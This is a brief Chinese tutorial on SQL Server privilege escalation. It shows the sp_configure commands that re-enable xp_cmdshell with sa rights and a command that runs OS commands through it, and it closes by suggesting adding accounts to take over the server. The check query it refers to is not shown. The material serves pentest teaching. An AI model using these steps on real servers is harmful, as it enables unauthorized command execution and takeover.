前言
sql server提权主要依赖于sql server自带的存储过程。
存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。
注:
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。
连接数据库后,先检查xp_cmdshell是否存在
结果为1
,则证明存在。
启用xp_cmdshell:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭xp_cmdshell:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
开启xp_cmdshell
EXEC master..xp_cmdshell 'whoami'; #执行命令
// 至此,提权完毕(可通过添加账户等拿下该服务器权限)